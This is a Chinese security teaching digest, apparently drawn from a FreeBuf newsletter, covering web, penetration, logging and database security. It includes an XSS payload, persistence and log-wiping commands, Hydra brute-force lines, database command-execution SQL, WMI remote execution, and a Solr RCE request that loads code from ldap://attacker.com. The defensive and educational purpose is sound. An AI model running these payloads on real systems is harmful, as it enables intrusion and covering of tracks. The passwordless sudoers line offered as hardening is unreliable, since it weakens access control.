专注Web及移动安全[红日安全95期]
字数 2812 2025-08-18 11:38:56
Web及移动安全综合教学文档
一、Web安全专题
1.1 PHP反序列化漏洞
- 漏洞原理:PHP反序列化过程中,当用户可控数据被反序列化时,可能触发对象中的魔术方法(__wakeup, __destruct等),导致代码执行
- 利用技巧:
- 利用__destruct方法进行文件删除或写入
- 通过__toString方法触发其他危险操作
- 利用POP(Property-Oriented Programming)链构造复杂利用
- 防御措施:
- 避免反序列化用户输入
- 使用json_encode/json_decode替代
- 实现严格的对象类型检查
1.2 XSS绕过技术
- 通用信息管理系统XSS绕过:
- 利用HTML属性注入:``
- 事件处理程序绕过:
<svg/onload=alert(1)> - 编码混淆技术:使用Unicode、HTML实体或JS编码
- 防御方案:
- 严格的内容安全策略(CSP)
- 输入过滤与输出编码
- 使用XSS防护库如DOMPurify
二、渗透测试技术
2.1 提权漏洞利用
CVE-2018-8120
- 影响系统:Windows 7/2008 R2及以下版本
- 利用步骤:
- 检查目标系统补丁情况
- 编译并执行漏洞利用代码
- 通过Null指针解引用获取SYSTEM权限
CVE-2019-0803
- 影响系统:Windows 10/Server 2019
- 利用方式:
- 利用Win32k组件中的条件竞争漏洞
- 需要特定内存布局条件
- 成功率受系统负载影响
2.2 后渗透阶段
-
权限维持技术:
- 计划任务:
schtasks /create /tn "Update" /tr "cmd.exe" /sc minute /mo 1 - 服务创建:
sc create "WindowsUpdate" binPath= "cmd.exe /k whoami" - WMI事件订阅:
wmic /NAMESPACE:\\root\subscription PATH __EventFilter CREATE Name="TestFilter"
- 计划任务:
-
CobaltStrike自动化:
- 使用Aggressor Script实现自动化攻击
- 通过Malleable C2配置文件规避检测
- 内存注入技术(Process Hollowing, Process Doppelgänging)
三、安全工具详解
3.1 Hydra暴力破解工具
- 支持协议:SSH, FTP, HTTP, SMB, RDP等30+协议
- 常用参数:
hydra -L users.txt -P passwords.txt ssh://192.168.1.1 hydra -l admin -P rockyou.txt ftp://target.com - 性能优化:
- 使用
-t参数控制线程数 -T参数设置任务并行数-w调整超时时间提高效率
- 使用
3.2 Pown-Duct盲注检测
- 工作原理:
- 基于时间延迟的盲注检测
- 使用统计分析识别异常响应
- 支持HTTP/HTTPS协议
- 使用示例:
pown-duct detect --url http://target.com/search?q=test pown-duct exploit --url http://target.com --technique time-based
3.3 子域收集工具
- 技术方法:
- DNS爆破:使用字典枚举常见子域
- 证书透明度日志查询
- 搜索引擎爬取(Google Dorking)
- 递归查询NS记录
- 推荐工具组合:
subfinder + amass + assetfinder + findomain
四、日志安全分析
4.1 日志收集架构
- 日志来源:
- 系统日志(Syslog, EventLog)
- 应用日志(Web服务器, 数据库)
- 安全设备日志(防火墙, IDS/IPS)
- 收集方案:
- ELK Stack(Elasticsearch+Logstash+Kibana)
- Graylog
- Splunk
4.2 日志分析技术
- 攻击检测方法:
- 异常登录行为分析
- 高频失败尝试识别
- 非常规时间活动检测
- SIEM集成:
- 关联规则编写
- 威胁情报匹配
- 用户行为分析(UEBA)
4.3 日志系统攻击
- 常见攻击手法:
- 日志篡改:
/var/log/*文件修改 - 日志注入:通过用户输入污染日志
- 日志清除:
echo > /var/log/auth.log
- 日志篡改:
- 防护措施:
- 日志文件只读权限
- 远程集中式日志存储
- 日志完整性校验(Hash链)
五、网络爬虫安全
5.1 爬虫技术要点
- 合法爬取规范:
- 遵守robots.txt协议
- 设置合理爬取间隔
- 标识合法User-Agent
- 反爬绕过技术:
- IP轮换与代理池
- 请求头随机化
- 浏览器自动化(Puppeteer, Selenium)
5.2 爬虫安全风险
- 潜在危害:
- 敏感数据泄露
- 业务逻辑暴露
- 服务器资源耗尽
- 防护方案:
- 速率限制(Rate Limiting)
- 行为分析检测
- WAF规则配置
六、漏洞预警与响应
6.1 Apache Solr RCE(CVE-2019-0193)
- 影响版本:Apache Solr 5.0.0 - 8.1.1
- 漏洞原理:
- ConfigAPI允许通过HTTP请求修改solrconfig.xml
- 恶意dataConfig参数导致JNDI注入
- 利用过程:
POST /solr/demo/config HTTP/1.1 {"set-property":{"requestDispatcher.requestParsers.enableRemoteStreaming":true}} GET /solr/demo/dataimport?command=full-import&dataConfig= <dataConfig> <dataSource type="JdbcDataSource" name="ds" jndiName="ldap://attacker.com/Exploit"/> </dataConfig> - 修复方案:
- 升级至最新版本
- 禁用ConfigAPI
- 网络访问控制
6.2 应急响应流程
- 事件确认:验证攻击真实性
- 影响评估:确定受影响范围
- 遏制措施:隔离受影响系统
- 根除恢复:修补漏洞,恢复服务
- 事后分析:撰写事件报告
七、数据库安全
7.1 数据库命令执行
-
SQL Server:
EXEC xp_cmdshell 'whoami'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; -
MySQL:
SELECT sys_exec('whoami'); SELECT * FROM mysql.func WHERE name='sys_exec'; -
PostgreSQL:
CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT; SELECT system('whoami');
7.2 防御措施
- 最小权限原则
- 禁用危险存储过程
- 启用数据库审计
八、等保2.0实践
8.1 高风险项判定
- 身份鉴别:
- 空口令或弱口令
- 未启用多因素认证
- 访问控制:
- 默认账户未禁用
- 权限分离不足
- 安全审计:
- 未记录关键操作
- 日志保存期限不足
8.2 CentOS访问控制
- 关键配置:
# /etc/ssh/sshd_config PermitRootLogin no PasswordAuthentication no # /etc/sudoers %wheel ALL=(ALL) NOPASSWD: ALL # /etc/security/access.conf -:ALL EXCEPT root wheel:ALL - SELinux策略:
getenforce # 查看状态 setenforce 1 # 临时启用 semanage port -a -t http_port_t -p tcp 8080 # 端口标签管理
九、内网渗透技术
9.1 横向移动方法
- 凭证窃取:
- Mimikatz提取内存密码
- LaZagne获取各类应用凭证
- 利用共享资源:
- SMB共享枚举:
smbclient -L //192.168.1.1 - WMI远程执行:
wmic /node:192.168.1.2 process call create "cmd.exe /c whoami"
- SMB共享枚举:
- PTT攻击:
- 黄金票据伪造
- 白银票据利用
9.2 防御建议
- 启用LSA保护
- 限制WMI/SMB访问
- 监控异常账户活动
十、安全开发实践
10.1 安全编码规范
- 输入验证:
- 白名单优于黑名单
- 数据类型严格校验
- 输出编码:
- HTML实体编码:
< > & - JavaScript编码:
\x3cscript\x3e
- HTML实体编码:
- 会话管理:
- 使用框架提供机制
- 设置HttpOnly和Secure标志
10.2 安全测试流程
- 威胁建模
- 静态代码分析
- 动态应用测试
- 渗透测试
- 安全评审
本教学文档基于FreeBuf红日安全第95期内容整理,涵盖了Web安全、渗透测试、安全工具使用、日志分析、漏洞利用等多个领域的关键知识点,可作为安全从业者的技术参考手册。